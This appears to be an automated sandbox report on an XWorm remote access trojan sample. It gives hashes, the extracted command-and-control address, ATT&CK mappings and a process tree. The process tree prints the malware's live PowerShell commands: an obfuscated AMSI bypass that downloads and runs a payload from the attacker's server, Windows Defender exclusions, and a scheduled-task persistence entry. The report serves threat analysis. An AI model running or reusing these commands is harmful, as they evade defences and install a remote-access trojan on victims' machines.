xworm | aefbc83f1cf4facc11486398011bea48b4eae99ff13bebff0981ebc837cd1ecf

Analysis

max time kernel
126s
max time network
145s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250217-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
08/03/2025, 19:10

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General

Target

NukeCrypter/SspiCli.dll
Size

14.0MB
MD5

7697bb66b64ca30f53344f8b2a4dbd2a
SHA1

9fb9053ec18db85b9a55439b048fbbc694a1f9bb
SHA256

49861d9f7c2743bd8e7895ce173356f11474b393d9d8ecabb79b0fecc625e790
SHA512

7785d935729f342304ab87b4ea7d6050dfc76ff5e7a04123273769448a0de2e3d4c5df006136d47d6d3e476e8d23fdbb875484cd81ad29315faabe9ddea4fe79
SSDEEP

196608:y8qw4TxltmlBWDolz/tGTeyMdfkjIxj4/zHd1vqGyvnkYIiHuqZf:WxDolz/tGTeyMMIwHLiGyvnkC

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

45.137.201.27:2010

Mutex

NJSnJLx9hqfSdYjB

Attributes

Install_directory
%LocalAppData%
install_file
msedge.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral7/files/0x000f000000027df5-32.dat	family_xworm
behavioral7/memory/3656-54-0x0000000000F10000-0x0000000000F3E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
968	powershell.exe
4388	powershell.exe
756	powershell.exe
1864	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
8	4048	Powermode.exe
7	4088	Powermode.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Control Panel\International\Geo\Nation	Powermode.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Control Panel\International\Geo\Nation	Powermode.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1639757381-2759246526-4253643256-1000\Control Panel\International\Geo\Nation	msedge.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 5 IoCs

pid	Process
4048	Powermode.exe
4088	Powermode.exe
3656	msedge.exe
2244	msedge.exe
3176	msedge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4048	Powermode.exe
4088	Powermode.exe
4048	Powermode.exe
4088	Powermode.exe
1864	powershell.exe
1864	powershell.exe
968	powershell.exe
968	powershell.exe
4388	powershell.exe
4388	powershell.exe
756	powershell.exe
756	powershell.exe
3656	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4048	Powermode.exe
Token: SeDebugPrivilege	4088	Powermode.exe
Token: SeDebugPrivilege	3656	msedge.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeIncreaseQuotaPrivilege	1864	powershell.exe
Token: SeSecurityPrivilege	1864	powershell.exe
Token: SeTakeOwnershipPrivilege	1864	powershell.exe
Token: SeLoadDriverPrivilege	1864	powershell.exe
Token: SeSystemProfilePrivilege	1864	powershell.exe
Token: SeSystemtimePrivilege	1864	powershell.exe
Token: SeProfSingleProcessPrivilege	1864	powershell.exe
Token: SeIncBasePriorityPrivilege	1864	powershell.exe
Token: SeCreatePagefilePrivilege	1864	powershell.exe
Token: SeBackupPrivilege	1864	powershell.exe
Token: SeRestorePrivilege	1864	powershell.exe
Token: SeShutdownPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeSystemEnvironmentPrivilege	1864	powershell.exe
Token: SeRemoteShutdownPrivilege	1864	powershell.exe
Token: SeUndockPrivilege	1864	powershell.exe
Token: SeManageVolumePrivilege	1864	powershell.exe
Token: 33	1864	powershell.exe
Token: 34	1864	powershell.exe
Token: 35	1864	powershell.exe
Token: 36	1864	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe
Token: SeIncreaseQuotaPrivilege	968	powershell.exe
Token: SeSecurityPrivilege	968	powershell.exe
Token: SeTakeOwnershipPrivilege	968	powershell.exe
Token: SeLoadDriverPrivilege	968	powershell.exe
Token: SeSystemProfilePrivilege	968	powershell.exe
Token: SeSystemtimePrivilege	968	powershell.exe
Token: SeProfSingleProcessPrivilege	968	powershell.exe
Token: SeIncBasePriorityPrivilege	968	powershell.exe
Token: SeCreatePagefilePrivilege	968	powershell.exe
Token: SeBackupPrivilege	968	powershell.exe
Token: SeRestorePrivilege	968	powershell.exe
Token: SeShutdownPrivilege	968	powershell.exe
Token: SeDebugPrivilege	968	powershell.exe
Token: SeSystemEnvironmentPrivilege	968	powershell.exe
Token: SeRemoteShutdownPrivilege	968	powershell.exe
Token: SeUndockPrivilege	968	powershell.exe
Token: SeManageVolumePrivilege	968	powershell.exe
Token: 33	968	powershell.exe
Token: 34	968	powershell.exe
Token: 35	968	powershell.exe
Token: 36	968	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeIncreaseQuotaPrivilege	4388	powershell.exe
Token: SeSecurityPrivilege	4388	powershell.exe
Token: SeTakeOwnershipPrivilege	4388	powershell.exe
Token: SeLoadDriverPrivilege	4388	powershell.exe
Token: SeSystemProfilePrivilege	4388	powershell.exe
Token: SeSystemtimePrivilege	4388	powershell.exe
Token: SeProfSingleProcessPrivilege	4388	powershell.exe
Token: SeIncBasePriorityPrivilege	4388	powershell.exe
Token: SeCreatePagefilePrivilege	4388	powershell.exe
Token: SeBackupPrivilege	4388	powershell.exe
Token: SeRestorePrivilege	4388	powershell.exe
Token: SeShutdownPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeSystemEnvironmentPrivilege	4388	powershell.exe
Token: SeRemoteShutdownPrivilege	4388	powershell.exe
Token: SeUndockPrivilege	4388	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3656	msedge.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3908 wrote to memory of 2172	3908	rundll32.exe	84
PID 3908 wrote to memory of 2172	3908	rundll32.exe	84
PID 3908 wrote to memory of 4564	3908	rundll32.exe	85
PID 3908 wrote to memory of 4564	3908	rundll32.exe	85
PID 2172 wrote to memory of 4048	2172	cmd.exe	89
PID 2172 wrote to memory of 4048	2172	cmd.exe	89
PID 4564 wrote to memory of 4088	4564	cmd.exe	90
PID 4564 wrote to memory of 4088	4564	cmd.exe	90
PID 4088 wrote to memory of 3656	4088	Powermode.exe	93
PID 4088 wrote to memory of 3656	4088	Powermode.exe	93
PID 3656 wrote to memory of 1864	3656	msedge.exe	94
PID 3656 wrote to memory of 1864	3656	msedge.exe	94
PID 3656 wrote to memory of 968	3656	msedge.exe	99
PID 3656 wrote to memory of 968	3656	msedge.exe	99
PID 3656 wrote to memory of 4388	3656	msedge.exe	101
PID 3656 wrote to memory of 4388	3656	msedge.exe	101
PID 3656 wrote to memory of 756	3656	msedge.exe	104
PID 3656 wrote to memory of 756	3656	msedge.exe	104
PID 3656 wrote to memory of 4612	3656	msedge.exe	107
PID 3656 wrote to memory of 4612	3656	msedge.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\NukeCrypter\SspiCli.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\my_script.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Downloads MZ/PE file
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\my_script.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4564
- - C:\ProgramData\Powermode.exe
    Powermode.exe -w hidden -ComMand $m1='A';$m3='i';$m2='ms';$m=$m1+$m2+$m3;$a1='am';$a2='si';$a=$a1+$a2+'InitFailed';$b1='No';$b2='nPu';$b3='bli';$b4='c,St';$b5='at';$b6='ic';$b=$b1+$b2+$b3+$b4+$b5+$b6;$ex=$null;$aaa1=[Ref].Assembly.GetType('System.Management.Automation.'+$m+'Utils').GetField($a,$b);$aaa1.SetValue($ex,$true);$XZLqW6au='http://45.137.201.27:30054/msedge.exe';$output=[System.IO.Path]::Combine($env:APPDATA,'msedge.exe');[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri $XZLqW6au -OutFile $output;Start-Process -FilePath $output;exit
    3⤵
    - Downloads MZ/PE file
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Users\Admin\AppData\Roaming\msedge.exe
      "C:\Users\Admin\AppData\Roaming\msedge.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3656
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:968
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4388
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:756
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4612

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
PID:2244

C:\Users\Admin\AppData\Local\msedge.exe
"C:\Users\Admin\AppData\Local\msedge.exe"
1⤵
- Executes dropped EXE
PID:3176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\Powermode.exe

Filesize
445KB

MD5
2e5a8590cf6848968fc23de3fa1e25f1

SHA1
801262e122db6a2e758962896f260b55bbd0136a

SHA256
9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3

SHA512
5c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8

Download Submit
C:\ProgramData\my_script.bat

Filesize
729B

MD5
092cabe7fe4773b78ff62f414633572f

SHA1
c9f77f261d45e394086f7bb23eb91b80b8d0b318

SHA256
85d5ee43057001a08fa00e02a4aaf7d84a2d4407f662fa9c22b16b22a9d0738b

SHA512
e5d1b866e5a50243f953b67f191c4185aecdc828e5641cae6f78486f71f337f3efedbcb6051586b886a3c321db6fb17f9fe276cbc9954e0abb41e0813589a022

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Powermode.exe.log

Filesize
3KB

MD5
4521e67a3b03b060fde700c36d3b9297

SHA1
4a730cd86dc7a57ac001d59853dd500c1b83b4ab

SHA256
a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d

SHA512
90235850eef71c2f0921d04e6990147af9e76fec8ee49e12e6a5bab065ff0e63331a54be845026f17a7b1dd230ee94843099db4813c127c6bafb8cbaf59b753f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log

Filesize
654B

MD5
11c6e74f0561678d2cf7fc075a6cc00c

SHA1
535ee79ba978554abcb98c566235805e7ea18490

SHA256
d39a78fabca39532fcb85ce908781a75132e1bd01cc50a3b290dd87127837d63

SHA512
32c63d67bf512b42e7f57f71287b354200126cb417ef9d869c72e0b9388a7c2f5e3b61f303f1353baa1bf482d0f17e06e23c9f50b2f1babd4d958b6da19c40b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5f0daed2486130991fb6f2f0109ff72a

SHA1
1a62c810a1313b2529c0e5be0b529b50d792c9c0

SHA256
311bf57987226fee29c19474b63f7755f42f1bf9d75a59d3646fead22160a6e2

SHA512
1d5f32686a5ed7663b706e03e2a19cec6f1a80183ae22e3d2d7242f727a2605db857076e62ad261aec645d79546d473f780609785c9e9b45262e50c66f7b5842

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bee417d07ed43d1036fd63bbf6f1f0fb

SHA1
f89e22e8f53d48448b5e1c6ab2d0eae0594356d4

SHA256
14cd035e71e9de89416f0ebbc6e43084c16f212d10ae84774508e7a25c84dc30

SHA512
11abcbe8e0d8515da5b56e1a752d6c70e4b78a7d8379feae2bdbfe885434f18eb09b6d283341b46a7ebc5f356da3aefa445ff83c74045fc3ce641cffb0ba120d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a1bafdfa6ee8d81727db67fc12d9e3f2

SHA1
c22129ce21faba480196334c9a7d7b2c967b0729

SHA256
aeadfd69f302dac8ff81f9d4ea10499d7a80c72cc3cfab04624d612e0c75aacb

SHA512
b7bd1203032ccab2cee0296fe17e15517bbd2e09ec7fb3c357fe46e370f6fd20b7028cf2154fd08358ab15fff0120b7d7f7149c6ada312f0d65d2ea23405487b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
fd1affecdeec722b8af1e33e3ebd9adf

SHA1
086dd9286c59cd136edd77b9967fa475e152f244

SHA256
1f438eccd739ecf991be73aafe9539dd1a4eeb0630d028ceadf044db9cc60305

SHA512
d93fa5e589f74be36358fb4a3e9acf849686dfd519921f66710a301657328dfab150654397ed0a9d6765888405e95e5e6c256bf6cde8ce29193b504cc605a33b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fz0ayh2z.2b5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\msedge.exe

Filesize
165KB

MD5
22a01fdc6d06f445af5de9759799225f

SHA1
1dde5be9d7c8a7ae68332c92a6e1263f24705f7c

SHA256
682acd04365f06fd83daa81b7bbd71665a60e729d6d4ecc3693eb486b8d4a13f

SHA512
e602f9d32b78c8d317698337ea2eb02b6bbf72cae13d3a5c3e3cee39c2445a8c2d85514eb7c741125364fee2f83582ce6a41154128a6c88c257cb5e41eb8f2d6

Download Submit
memory/3656-54-0x0000000000F10000-0x0000000000F3E000-memory.dmp

Filesize
184KB

Download
memory/4048-18-0x00007FFC1ABC0000-0x00007FFC1B682000-memory.dmp

Filesize
10.8MB

Download
memory/4048-36-0x00007FFC1ABC0000-0x00007FFC1B682000-memory.dmp

Filesize
10.8MB

Download
memory/4048-28-0x00007FFC1ABC0000-0x00007FFC1B682000-memory.dmp

Filesize
10.8MB

Download
memory/4048-8-0x000001772FC90000-0x000001772FCB2000-memory.dmp

Filesize
136KB

Download
memory/4048-7-0x00007FFC1ABC3000-0x00007FFC1ABC5000-memory.dmp

Filesize
8KB

Download
memory/4088-31-0x00007FFC1ABC0000-0x00007FFC1B682000-memory.dmp

Filesize
10.8MB

Download
memory/4088-53-0x00007FFC1ABC0000-0x00007FFC1B682000-memory.dmp

Filesize
10.8MB

Download
memory/4088-30-0x00007FFC1ABC0000-0x00007FFC1B682000-memory.dmp

Filesize
10.8MB

Download
memory/4088-29-0x00007FFC1ABC0000-0x00007FFC1B682000-memory.dmp

Filesize
10.8MB

Download